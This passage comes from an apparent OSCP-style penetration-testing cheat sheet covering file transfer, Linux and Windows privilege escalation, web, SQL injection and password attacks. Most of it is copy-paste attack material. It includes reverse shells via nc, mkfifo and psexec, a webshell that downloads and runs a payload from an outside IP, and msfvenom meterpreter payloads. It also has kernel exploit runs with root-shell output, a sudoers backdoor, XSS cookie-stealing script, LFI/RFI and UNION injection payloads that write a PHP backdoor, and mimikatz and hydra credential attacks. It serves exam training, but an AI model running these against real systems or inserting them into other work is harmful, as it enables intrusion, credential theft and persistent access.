 echo dim bStrm: Set bStrm = createobject("Adodb.Stream")  >> webdl.vbs
 timeout 1
 echo xHttp.Open "GET", Url, False  >> webdl.vbs
 timeout 1
 echo xHttp.Send  >> webdl.vbs
 timeout 1
 echo with bStrm      >> webdl.vbs
 timeout 1
 echo 	.type = 1 '      >> webdl.vbs
 timeout 1
 echo 	.open      >> webdl.vbs
 timeout 1
 echo 	.write xHttp.responseBody      >> webdl.vbs
 timeout 1
 echo 	.savetofile "C:\temp\windows-privesc-check2.exe", 2 '  >> webdl.vbs
 timeout 1
 echo end with >> webdl.vbs
 timeout 1
 echo

The file can be run using the following syntax:

C:\temp\cscript.exe webdl.vbs

Mounting File Shares
- Mount NFS share to /mnt/nfs
  mount $ip:/vol/share /mnt/nfs
HTTP Put
nmap -p80 $ip --script http-put --script-args http-put.url='/test/sicpwn.php',http-put.file='/var/www/html/sicpwn.php
Uploading Files
- SCP
  
  scp username1@source_host:directory1/filename1 username2@destination_host:directory2/filename2
  
  scp localfile username@$ip:~/Folder/
  
  scp Linux_Exploit_Suggester.pl bob@192.168.1.10:~
- Webdav with Davtest- Some sysadmins are kind enough to enable the PUT method - This tool will auto upload a backdoor
  
  davtest -move -sendbd auto -url http://$ip
  
  https://github.com/cldrn/davtest
  
  You can also upload a file using the PUT method with the curl command:
  
  curl -T 'leetshellz.txt' 'http://$ip'
  
  And rename it to an executable file using the MOVE method with the curl command:
  
  curl -X MOVE --header 'Destination:http://$ip/leetshellz.php' 'http://$ip/leetshellz.txt'
- Upload shell using limited php shell cmd
  use the webshell to download and execute the meterpreter
  [curl -s --data "cmd=wget http://174.0.42.42:8000/dhn -O /tmp/evil" http://$ip/files/sh.php
  [curl -s --data "cmd=chmod 777 /tmp/evil" http://$ip/files/sh.php
  curl -s --data "cmd=bash -c /tmp/evil" http://$ip/files/sh.php
- TFTP
  mkdir /tftp
  atftpd --daemon --port 69 /tftp
  cp /usr/share/windows-binaries/nc.exe /tftp/
  EX. FROM WINDOWS HOST:
  C:\Users\Offsec>tftp -i $ip get nc.exe
- FTP
  apt-get update && apt-get install pure-ftpd
  
  #!/bin/bash
  groupadd ftpgroup
  useradd -g ftpgroup -d /dev/null -s /etc ftpuser
  pure-pw useradd offsec -u ftpuser -d /ftphome
  pure-pw mkdb
  cd /etc/pure-ftpd/auth/
  ln -s ../conf/PureDB 60pdb
  mkdir -p /ftphome
  chown -R ftpuser:ftpgroup /ftphome/
  
  /etc/init.d/pure-ftpd restart
Packing Files
- Ultimate Packer for eXecutables
  upx -9 nc.exe
- exe2bat - Converts EXE to a text file that can be copied and pasted
  locate exe2bat
  wine exe2bat.exe nc.exe nc.txt
- Veil - Evasion Framework - https://github.com/Veil-Framework/Veil-Evasion
  apt-get -y install git
  git clone https://github.com/Veil-Framework/Veil-Evasion.git
  cd Veil-Evasion/
  cd setup
  setup.sh -c

Privilege Escalation

Password reuse is your friend. The OSCP labs are true to life, in the way that the users will reuse passwords across different services and even different boxes. Maintain a list of cracked passwords and test them on new machines you encounter.

Linux Privilege Escalation
Defacto Linux Privilege Escalation Guide - A much more through guide for linux enumeration:https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
Try the obvious - Maybe the user is root or can sudo to root:

id

sudo su

Here are the commands I have learned to use to perform linux enumeration and privledge escalation:

What users can login to this box (Do they use thier username as thier password)?:

grep -vE "nologin|false" /etc/passwd

What kernel version are we using? Do we have any kernel exploits for this version?

uname -a

searchsploit linux kernel 3.2 --exclude="(PoC)|/dos/"

What applications have active connections?:

netstat -tulpn

What services are running as root?:

ps aux | grep root

What files run as root / SUID / GUID?:

 find / -perm +2000 -user root -type f -print
 find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
 find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.
 find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.
 find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
 for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done  
 find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

What folders are world writeable?:

 find / -writable -type d 2>/dev/null      # world-writeable folders
 find / -perm -222 -type d 2>/dev/null     # world-writeable folders
 find / -perm -o w -type d 2>/dev/null     # world-writeable folders
 find / -perm -o x -type d 2>/dev/null     # world-executable folders
 find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders

There are a few scripts that can automate the linux enumeration process:
- Google is my favorite Linux Kernel exploitation search tool. Many of these automated checkers are missing important kernel exploits which can create a very frustrating blindspot during your OSCP course.
- LinuxPrivChecker.py - My favorite automated linux priv enumeration checker -
  
  https://www.securitysift.com/download/linuxprivchecker.py
- LinEnum - (Recently Updated)
https://github.com/rebootuser/LinEnum
- linux-exploit-suggester (Recently Updated)
https://github.com/mzet-/linux-exploit-suggester
- Highon.coffee Linux Local Enum - Great enumeration script!
  
  wget https://highon.coffee/downloads/linux-local-enum.sh
- Linux Privilege Exploit Suggester (Old has not been updated in years)
https://github.com/PenturaLabs/Linux_Exploit_Suggester
- Linux post exploitation enumeration and exploit checking tools
https://github.com/reider-roque/linpostexp

Handy Kernel Exploits

CVE-2010-2959 - 'CAN BCM' Privilege Escalation - Linux Kernel < 2.6.36-rc1 (Ubuntu 10.04 / 2.6.32)

https://www.exploit-db.com/exploits/14814/

 wget -O i-can-haz-modharden.c http://www.exploit-db.com/download/14814
 $ gcc i-can-haz-modharden.c -o i-can-haz-modharden
 $ ./i-can-haz-modharden
 [+] launching root shell!
 # id
 uid=0(root) gid=0(root)

CVE-2010-3904 - Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8
https://www.exploit-db.com/exploits/15285/
CVE-2012-0056 - Mempodipper - Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)
https://git.zx2c4.com/CVE-2012-0056/about/
Linux CVE 2012-0056
```
 wget -O exploit.c http://www.exploit-db.com/download/18411 
 gcc -o mempodipper exploit.c 
 ./mempodipper
```
CVE-2016-5195 - Dirty Cow - Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
https://dirtycow.ninja/
First existed on 2.6.22 (released in 2007) and was fixed on Oct 18, 2016

Run a command as a user other than root

  sudo -u haxzor /usr/bin/vim /etc/apache2/sites-available/000-default.conf

Add a user or change a password

  /usr/sbin/useradd -p 'openssl passwd -1 thePassword' haxzor  
  echo thePassword | passwd haxzor --stdin

Local Privilege Escalation Exploit in Linux

SUID (Set owner User ID up on execution)
Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required.

below are some quick copy and paste examples for various shells:

  SUID C Shell for /bin/bash  

  int main(void){  
  setresuid(0, 0, 0);  
  system("/bin/bash");  
  }  

  SUID C Shell for /bin/sh  

  int main(void){  
  setresuid(0, 0, 0);  
  system("/bin/sh");  
  }  

  Building the SUID Shell binary  
  gcc -o suid suid.c  
  For 32 bit:  
  gcc -m32 -o suid suid.c

Create and compile an SUID from a limited shell (no file transfer)

  echo "int main(void){\nsetgid(0);\nsetuid(0);\nsystem(\"/bin/sh\");\n}" >privsc.c  
  gcc privsc.c -o privsc

Handy command if you can get a root user to run it. Add the www-data user to Root SUDO group with no password requirement:

echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
You may find a command is being executed by the root user, you may be able to modify the system PATH environment variable to execute your command instead. In the example below, ssh is replaced with a reverse shell SUID connecting to 10.10.10.1 on port 4444.
```
 set PATH="/tmp:/usr/local/bin:/usr/bin:/bin"
 echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.1 4444 >/tmp/f" >> /tmp/ssh
 chmod +x ssh
```

SearchSploit

      searchsploit –uncsearchsploit apache 2.2  
      searchsploit "Linux Kernel"  
      searchsploit linux 2.6 | grep -i ubuntu | grep local  
      searchsploit slmail

Kernel Exploit Suggestions for Kernel Version 3.0.0

./usr/share/linux-exploit-suggester/Linux_Exploit_Suggester.pl -k 3.0.0
Precompiled Linux Kernel Exploits - Super handy if GCC is not installed on the target machine!

https://www.kernel-exploits.com/
Collect root password

cat /etc/shadow |grep root
Find and display the proof.txt or flag.txt - LOOT!
```
    cat `find / -name proof.txt -print`
```
Windows Privilege Escalation
Windows Privilege Escalation resource http://www.fuzzysecurity.com/tutorials/16.html
Metasploit Meterpreter Privilege Escalation Guide https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/
Try the obvious - Maybe the user is SYSTEM or is already part of the Administrator group:

whoami

net user "%username%"
Try the getsystem command using meterpreter - rarely works but is worth a try.

meterpreter > getsystem

No File Upload Required Windows Privlege Escalation Basic Information Gathering (based on the fuzzy security tutorial and windows_privesc_check.py).

Copy and paste the following contents into your remote Windows shell in Kali to generate a quick report:

 @echo --------- BASIC WINDOWS RECON ---------  > report.txt
 timeout 1
 net config Workstation  >> report.txt
 timeout 1
 systeminfo | findstr /B /C:"OS Name" /C:"OS Version" >> report.txt
 timeout 1
 hostname >> report.txt
 timeout 1
 net users >> report.txt
 timeout 1
 ipconfig /all >> report.txt
 timeout 1
 route print >> report.txt
 timeout 1
 arp -A >> report.txt
 timeout 1
 netstat -ano >> report.txt
 timeout 1
 netsh firewall show state >> report.txt	
 timeout 1
 netsh firewall show config >> report.txt
 timeout 1
 schtasks /query /fo LIST /v >> report.txt
 timeout 1
 tasklist /SVC >> report.txt
 timeout 1
 net start >> report.txt
 timeout 1
 DRIVERQUERY >> report.txt
 timeout 1
 reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated >> report.txt
 timeout 1
 reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated >> report.txt
 timeout 1
 dir /s *pass* == *cred* == *vnc* == *.config* >> report.txt
 timeout 1
 findstr /si password *.xml *.ini *.txt >> report.txt
 timeout 1
 reg query HKLM /f password /t REG_SZ /s >> report.txt
 timeout 1
 reg query HKCU /f password /t REG_SZ /s >> report.txt 
 timeout 1
 dir "C:\"
 timeout 1
 dir "C:\Program Files\" >> report.txt
 timeout 1
 dir "C:\Program Files (x86)\"
 timeout 1
 dir "C:\Users\"
 timeout 1
 dir "C:\Users\Public\"
 timeout 1
 echo REPORT COMPLETE!

Windows Server 2003 and IIS 6.0 WEBDAV Exploiting http://www.r00tsec.com/2011/09/exploiting-microsoft-iis-version-60.html

 msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=443 -f asp > aspshell.txt

 cadavar http://$ip
 dav:/> put aspshell.txt
 Uploading aspshell.txt to `/aspshell.txt':
 Progress: [=============================>] 100.0% of 38468 bytes succeeded.
 dav:/> copy aspshell.txt aspshell3.asp;.txt
 Copying `/aspshell3.txt' to `/aspshell3.asp%3b.txt':  succeeded.
 dav:/> exit

 msf > use exploit/multi/handler
 msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
 msf exploit(handler) > set LHOST 1.2.3.4
 msf exploit(handler) > set LPORT 80
 msf exploit(handler) > set ExitOnSession false
 msf exploit(handler) > exploit -j

 curl http://$ip/aspshell3.asp;.txt

 [*] Started reverse TCP handler on 1.2.3.4:443 
 [*] Starting the payload handler...
 [*] Sending stage (957487 bytes) to 1.2.3.5
 [*] Meterpreter session 1 opened (1.2.3.4:443 -> 1.2.3.5:1063) at 2017-09-25 13:10:55 -0700

Windows privledge escalation exploits are often written in Python. So, it is necessary to compile the using pyinstaller.py into an executable and upload them to the remote server.
```
 pip install pyinstaller
 wget -O exploit.py http://www.exploit-db.com/download/31853  
 python pyinstaller.py --onefile exploit.py
```

Windows Server 2003 and IIS 6.0 privledge escalation using impersonation:

https://www.exploit-db.com/exploits/6705/

https://github.com/Re4son/Churrasco

 c:\Inetpub>churrasco
 churrasco
 /churrasco/-->Usage: Churrasco.exe [-d] "command to run"

 c:\Inetpub>churrasco -d "net user /add <username> <password>"
 c:\Inetpub>churrasco -d "net localgroup administrators <username> /add"
 c:\Inetpub>churrasco -d "NET LOCALGROUP "Remote Desktop Users" <username> /ADD"

Windows MS11-080 - http://www.exploit-db.com/exploits/18176/

  python pyinstaller.py --onefile ms11-080.py  
  mx11-080.exe -O XP

Powershell Exploits - You may find that some Windows privledge escalation exploits are written in Powershell. You may not have an interactive shell that allows you to enter the powershell prompt. Once the powershell script is uploaded to the server, here is a quick one liner to run a powershell command from a basic (cmd.exe) shell:

MS16-032 https://www.exploit-db.com/exploits/39719/

powershell -ExecutionPolicy ByPass -command "& { . C:\Users\Public\Invoke-MS16-032.ps1; Invoke-MS16-032 }"
Powershell Priv Escalation Tools https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
Windows Run As - Switching users in linux is trival with the SU command. However, an equivalent command does not exist in Windows. Here are 3 ways to run a command as a different user in Windows.
- Sysinternals psexec is a handy tool for running a command on a remote or local server as a specific user, given you have thier username and password. The following example creates a reverse shell from a windows server to our Kali box using netcat for Windows and Psexec (on a 64 bit system).
```
 C:\>psexec64 \\COMPUTERNAME -u Test -p test -h "c:\users\public\nc.exe -nc 192.168.1.10 4444 -e cmd.exe" 

 PsExec v2.2 - Execute processes remotely
 Copyright (C) 2001-2016 Mark Russinovich
 Sysinternals - www.sysinternals.com
```
- Runas.exe is a handy windows tool that allows you to run a program as another user so long as you know thier password. The following example creates a reverse shell from a windows server to our Kali box using netcat for Windows and Runas.exe:
```
 C:\>C:\Windows\System32\runas.exe /env /noprofile /user:Test "c:\users\public\nc.exe -nc 192.168.1.10 4444 -e cmd.exe"
 Enter the password for Test:
 Attempting to start nc.exe as user "COMPUTERNAME\Test" ...
```
- PowerShell can also be used to launch a process as another user. The following simple powershell script will run a reverse shell as the specified username and password.
```
 $username = '<username here>'
 $password = '<password here>'
 $securePassword = ConvertTo-SecureString $password -AsPlainText -Force
 $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
 Start-Process -FilePath C:\Users\Public\nc.exe -NoNewWindow -Credential $credential -ArgumentList ("-nc","192.168.1.10","4444","-e","cmd.exe") -WorkingDirectory C:\Users\Public
```
 Next run this script using powershell.exe:
 
 powershell -ExecutionPolicy ByPass -command "& { . C:\Users\public\PowerShellRunAs.ps1; }"
Windows Service Configuration Viewer - Check for misconfigurations in services that can lead to privilege escalation. You can replace the executable with your own and have windows execute whatever code you want as the privileged user.
icacls scsiaccess.exe
```
 scsiaccess.exe  
 NT AUTHORITY\SYSTEM:(I)(F)  
 BUILTIN\Administrators:(I)(F)  
 BUILTIN\Users:(I)(RX)  
 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)  
 Everyone:(I)(F)
```

Compile a custom add user command in windows using C

root@kali:~# cat useradd.c  
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */  
int main ()  
{  
int i;  
i=system ("net localgroup administrators low /add");  
return 0;  
}

i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c

Group Policy Preferences (GPP)
A common useful misconfiguration found in modern domain environments is unprotected Windows GPP settings files
- map the Domain controller SYSVOL share
  
  net use z:\\dc01\SYSVOL
- Find the GPP file: Groups.xml
  
  dir /s Groups.xml
- Review the contents for passwords
  
  type Groups.xml
- Decrypt using GPP Decrypt
  
  gpp-decrypt riBZpPtHOGtVk+SdLOmJ6xiNgFH6Gp45BoP3I6AnPgZ1IfxtgI67qqZfgh78kBZB
Find and display the proof.txt or flag.txt - get the loot!

#meterpreter > run post/windows/gather/win_privs cd\ & dir /b /s proof.txt type c:\pathto\proof.txt

Client, Web and Password Attacks

Client Attacks
- MS12-037- Internet Explorer 8 Fixed Col Span ID
  wget -O exploit.html http://www.exploit-db.com/download/24017
  service apache2 start
- JAVA Signed Jar client side attack
  echo '' > /var/www/html/java.html
  User must hit run on the popup that occurs.
- Linux Client Shells
  http://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
- Setting up the Client Side Exploit
- Swapping Out the Shellcode
- Injecting a Backdoor Shell into Plink.exe
  backdoor-factory -f /usr/share/windows-binaries/plink.exe -H $ip -P 4444 -s reverse_shell_tcp
Web Attacks
- Web Shag Web Application Vulnerability Assessment Platform
 webshag-gui
- Web Shells
 http://tools.kali.org/maintaining-access/webshells
 ls -l /usr/share/webshells/
- Generate a PHP backdoor (generate) protected with the given password (s3cr3t)
 weevely generate s3cr3t
 weevely http://$ip/weevely.php s3cr3t
- Java Signed Applet Attack
- HTTP / HTTPS Webserver Enumeration
 - OWASP Dirbuster
 - nikto -h $ip
- Essential Iceweasel Add-ons
 Cookies Manager https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus/
 Tamper Data
 https://addons.mozilla.org/en-US/firefox/addon/tamper-data/
- Cross Site Scripting (XSS)
 significant impacts, such as cookie stealing and authentication bypass, redirecting the victim’s browser to a malicious HTML page, and more
- Browser Redirection and IFRAME Injection
 <div class="highlight highlight-text-html-basic"> <pre><iframe SRC="http://$ip/report" height = "0" width="0"></iframe></pre> </div>
- Stealing Cookies and Session Information
 <div class="highlight highlight-source-js"> <pre><javascript> new image().src="http://$ip/bogus.php?output="+document.cookie; </script></pre> </div>
 nc -nlvp 80
File Inclusion Vulnerabilities
- Local (LFI) and remote (RFI) file inclusion vulnerabilities are commonly found in poorly written PHP code.
- fimap - There is a Python tool called fimap which can be leveraged to automate the exploitation of LFI/RFI vulnerabilities that are found in PHP (sqlmap for LFI):
 https://github.com/kurobeats/fimap
 - Gaining a shell from phpinfo()
 fimap + phpinfo() Exploit - If a phpinfo() file is present, it’s usually possible to get a shell, if you don’t know the location of the phpinfo file fimap can probe for it, or you could use a tool like OWASP DirBuster.
- For Local File Inclusions look for the include() function in PHP code.
 <div class="highlight highlight-text-html-php"> <pre>include("lang/".$_COOKIE['lang']); include($_GET['page'].".php");</pre> </div>
- LFI - Encode and Decode a file using base64
 <div class="highlight highlight-source-shell"> <pre>curl -s \ "http://$ip/?page=php://filter/convert.base64-encode/resource=index" \ | grep -e '\[^\\ \]\\{40,\\}' | base64 -d</pre> </div>
- LFI - Download file with base 64 encoding
 http://$ip/index.php?page=php://filter/convert.base64-encode/resource=admin.php
- LFI Linux Files:
 /etc/issue
 /proc/version
 /etc/profile
 /etc/passwd
 /etc/passwd
 /etc/shadow
 /root/.bash_history
 /var/log/dmessage
 /var/mail/root
 /var/spool/cron/crontabs/root
- LFI Windows Files:
 %SYSTEMROOT%\repair\system
 %SYSTEMROOT%\repair\SAM
 %SYSTEMROOT%\repair\SAM
 %WINDIR%\win.ini
 %SYSTEMDRIVE%\boot.ini
 %WINDIR%\Panther\sysprep.inf
 %WINDIR%\system32\config\AppEvent.Evt
- LFI OSX Files:
 /etc/fstab
 /etc/master.passwd
 /etc/resolv.conf
 /etc/sudoers
 /etc/sysctl.conf
- LFI - Download passwords file
 http://$ip/index.php?page=/etc/passwd
 http://$ip/index.php?file=../../../../etc/passwd
- LFI - Download passwords file with filter evasion
 http://$ip/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd
- Local File Inclusion - In versions of PHP below 5.3 we can terminate with null byte
 GET /addguestbook.php?name=Haxor&comment=Merci!&LANG=../../../../../../../windows/system32/drivers/etc/hosts%00
- Contaminating Log Files <?php echo shell_exec($_GET['cmd']);?>
- For a Remote File Inclusion look for php code that is not sanitized and passed to the PHP include function and the php.ini file must be configured to allow remote files
 
 /etc/php5/cgi/php.ini - "allow_url_fopen" and "allow_url_include" both set to "on"
 
 include($_REQUEST["file"].".php");
- Remote File Inclusion
 
 http://192.168.11.35/addguestbook.php?name=a&comment=b&LANG=http://192.168.10.5/evil.txt
 
 <?php echo shell\_exec("ipconfig");?>
Database Vulnerabilities
- Playing with SQL Syntax A great tool I have found for playing with SQL Syntax for a variety of database types (MSSQL Server, MySql, PostGreSql, Oracle) is SQL Fiddle:
http://sqlfiddle.com

Another site is rextester.com:

http://rextester.com/l/mysql_online_compiler
- Detecting SQL Injection Vulnerabilities.
 
 Most modern automated scanner tools use time delay techniques to detect SQL injection vulnerabilities. This method can tell you if a SQL injection vulnerability is present even if it is a "blind" sql injection vulnerabilit that does not provide any data back. You know your SQL injection is working when the server takes a LOooooong time to respond. I have added a line comment at the end of each injection statement just in case there is additional SQL code after the injection point.
 - MSSQL Server SQL Injection Time Delay Detection: Add a 30 second delay to a MSSQL Server Query
 - Original Query
 
 SELECT * FROM products WHERE name='Test';
 - Injection Value
 
 '; WAITFOR DELAY '00:00:30'; --
 - Resulting Query
 
 SELECT * FROM products WHERE name='Test'; WAITFOR DELAY '00:00:30'; --
 - MySQL Injection Time Delay Detection: Add a 30 second delay to a MySQL Query
 - Original Query
 
 SELECT * FROM products WHERE name='Test';
 - Injection Value
 
 '-SLEEP(30); #
 - Resulting Query
 
 SELECT * FROM products WHERE name='Test'-SLEEP(30); #
 - PostGreSQL Injection Time Delay Detection: Add a 30 second delay to an PostGreSQL Query
 - Original Query
 
 SELECT * FROM products WHERE name='Test';
 - Injection Value
 
 '; SELECT pg_sleep(30); --
 - Resulting Query
 
 SELECT * FROM products WHERE name='Test'; SELECT pg_sleep(30); --
- Grab password hashes from a web application mysql database called “Users” - once you have the MySQL root username and password
```
 mysql -u root -p -h $ip
 use "Users" 
 show tables; 
 select \* from users;
```
- Authentication Bypass
```
 name='wronguser' or 1=1; 
 name='wronguser' or 1=1 LIMIT 1;
```
- Enumerating the Database
 
 http://192.168.11.35/comment.php?id=738)'
 
 Verbose error message?
 
 http://$ip/comment.php?id=738 order by 1
 
 http://$ip/comment.php?id=738 union all select 1,2,3,4,5,6
 
 Determine MySQL Version:
 
 http://$ip/comment.php?id=738 union all select 1,2,3,4,@@version,6
 
 Current user being used for the database connection:
 
 http://$ip/comment.php?id=738 union all select 1,2,3,4,user(),6
 
 Enumerate database tables and column structures
 
 http://$ip/comment.php?id=738 union all select 1,2,3,4,table_name,6 FROM information_schema.tables
 
 Target the users table in the database
 
 http://$ip/comment.php?id=738 union all select 1,2,3,4,column_name,6 FROM information_schema.columns where table_name='users'
 
 Extract the name and password
 
 http://$ip/comment.php?id=738 union select 1,2,3,4,concat(name,0x3a, password),6 FROM users
 
 Create a backdoor
 
 http://$ip/comment.php?id=738 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/xampp/htdocs/backdoor.php'
- SQLMap Examples
- Crawl the links
 
 sqlmap -u http://$ip --crawl=1
 
 sqlmap -u http://meh.com --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3
- SQLMap Search for databases against a suspected GET SQL Injection
 
 sqlmap –u http://$ip/blog/index.php?search –dbs
- SQLMap dump tables from database oscommerce at GET SQL injection
 
 sqlmap –u http://$ip/blog/index.php?search= –dbs –D oscommerce –tables –dumps
- SQLMap GET Parameter command
 
 sqlmap -u http://$ip/comment.php?id=738 --dbms=mysql --dump -threads=5
- SQLMap Post Username parameter
 
 sqlmap -u http://$ip/login.php --method=POST --data="usermail=asc@dsd.com&password=1231" -p "usermail" --risk=3 --level=5 --dbms=MySQL --dump-all
- SQL Map OS Shell
 
 sqlmap -u http://$ip/comment.php?id=738 --dbms=mysql --osshell
 
 sqlmap -u http://$ip/login.php --method=POST --data="usermail=asc@dsd.com&password=1231" -p "usermail" --risk=3 --level=5 --dbms=MySQL --os-shell
- Automated sqlmap scan
 
 sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords --file-read="/var/www/blah.php"
- Targeted sqlmap scan
 
 sqlmap -u "http://meh.com/meh.php?id=1" --dbms=mysql --tech=U --random-agent --dump
- Scan url for union + error based injection with mysql backend and use a random user agent + database dump
 
 sqlmap -o -u http://$ip/index.php --forms --dbs
 
 sqlmap -o -u "http://$ip/form/" --forms
- Sqlmap check form for injection
 
 sqlmap -o -u "http://$ip/vuln-form" --forms -D database-name -T users --dump
- Enumerate databases
 
 sqlmap --dbms=mysql -u "$URL" --dbs
- Enumerate tables from a specific database
 
 sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --tables
- Dump table data from a specific database and table
 
 sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump
- Specify parameter to exploit
 
 sqlmap --dbms=mysql -u "http://www.example.com/param1=value1&param2=value2" --dbs -p param2
- Specify parameter to exploit in 'nice' URIs (exploits param1)
 
 sqlmap --dbms=mysql -u "http://www.example.com/param1/value1*/param2/value2" --dbs
- Get OS shell
 
 sqlmap --dbms=mysql -u "$URL" --os-shell
- Get SQL shell
 
 sqlmap --dbms=mysql -u "$URL" --sql-shell
- SQL query
 
 sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --sql-query "SELECT * FROM $TABLE;"
- Use Tor Socks5 proxy
 
 sqlmap --tor --tor-type=SOCKS5 --check-tor --dbms=mysql -u "$URL" --dbs
NoSQLMap Examples You may encounter NoSQL instances like MongoDB in your OSCP journies (/cgi-bin/mongo/2.2.3/dbparse.py). NoSQLMap can help you to automate NoSQLDatabase enumeration.
NoSQLMap Installation
<div class="highlight highlight-source-shell"> <pre>git clone https://github.com/codingo/NoSQLMap.git cd NoSQLMap/ ls pip install couchdb pip install pbkdf2 pip install ipcalc python nosqlmap.py</pre> </div>
Often you can create an exception dump message with MongoDB using a malformed NoSQLQuery such as:

a'; return this.a != 'BadData’'; var dummy='!
Password Attacks
- AES Decryption
 http://aesencryption.net/
- Convert multiple webpages into a word list
 <div class="highlight highlight-source-shell"> <pre>for x in 'index' 'about' 'post' 'contact' ; do \ curl http://$ip/$x.html | html2markdown | tr -s ' ' '\\n' >> webapp.txt ; \ done</pre> </div>
- Or convert html to word list dict
 html2dic index.html.out | sort -u > index-html.dict
- Default Usernames and Passwords
 - CIRT
 http://www.cirt.net/passwords
 - Government Security - Default Logins and Passwords for Networked Devices
 - http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworkedDevices.php
 - Virus.org
 http://www.virus.org/default-password/
 - Default Password
 http://www.defaultpassword.com/
- Brute Force
 - Nmap Brute forcing Scripts
 https://nmap.org/nsedoc/categories/brute.html
 - Nmap Generic auto detect brute force attack: nmap --script brute -Pn <target.com or ip>
 - MySQL nmap brute force attack: nmap --script=mysql-brute $ip
- Dictionary Files
 - Word lists on Kali
 cd /usr/share/wordlists
- Key-space Brute Force
 - crunch 6 6 0123456789ABCDEF -o crunch1.txt
 - crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha
 - crunch 8 8 -t ,@@^^%%%
- Pwdump and Fgdump - Security Accounts Manager (SAM)
 - pwdump.exe - attempts to extract password hashes
 - fgdump.exe - attempts to kill local antiviruses before attempting to dump the password hashes and cached credentials.
- Windows Credential Editor (WCE)
 - allows one to perform several attacks to obtain clear text passwords and hashes. Usage: wce -w
- Mimikatz
 - extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets
 https://github.com/gentilkiwi/mimikatz From metasploit meterpreter (must have System level access):
```
meterpreter> load mimikatz
meterpreter> help mimikatz
meterpreter> msv
meterpreter> kerberos
meterpreter> mimikatz_command -f samdump::hashes
meterpreter> mimikatz_command -f sekurlsa::searchPasswords
```
- Password Profiling
 - cewl can generate a password list from a web page
 cewl www.megacorpone.com -m 6 -w megacorp-cewl.txt
- Password Mutating
 - John the ripper can mutate password lists
 nano /etc/john/john.conf
 john --wordlist=megacorp-cewl.txt --rules --stdout > mutated.txt
- Medusa
 - Medusa, initiated against an htaccess protected web directory
 medusa -h $ip -u admin -P password-file.txt -M http -m DIR:/admin -T 10
- Ncrack
 - ncrack (from the makers of nmap) can brute force RDP
 ncrack -vv --user offsec -P password-file.txt rdp://$ip
- Hydra
 - Hydra brute force against SNMP
 
 hydra -P password-file.txt -v $ip snmp
 - Hydra FTP known user and rockyou password list
 
 hydra -t 1 -l admin -P /usr/share/wordlists/rockyou.txt -vV $ip ftp
 - Hydra SSH using list of users and passwords
 
 hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh
 - Hydra SSH using a known password and a username list
 
 hydra -v -V -u -L users.txt -p "<known password>" -t 1 -u $ip ssh
 - Hydra SSH Against Known username on port 22
 
 hydra $ip -s 22 ssh -l <user> -P big_wordlist.txt
 - Hydra POP3 Brute Force
 
 hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V
 - Hydra SMTP Brute Force
 
 hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V
 - Hydra attack http get 401 login with a dictionary
 
 hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin
 - Hydra attack Windows Remote Desktop with rockyou
 
 hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip
 - Hydra brute force SMB user with rockyou:
 
 hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt $ip smb
 - Hydra brute force a Wordpress admin login
 
 hydra -l admin -P ./passwordlist.txt $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
Password Hash Attacks
- Online Password Cracking
  https://crackstation.net/ http://finder.insidepro.com/
- Hashcat Needed to install new drivers to get my GPU Cracking to work on the Kali linux VM and I also had to use the --force parameter.
apt-get install libhwloc-dev ocl-icd-dev ocl-icd-opencl-dev

and

apt-get install pocl-opencl-icd

Cracking Linux Hashes - /etc/shadow file
```
 500 | md5crypt $1$, MD5(Unix)                          | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix)                      | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix)                    | Operating-Systems
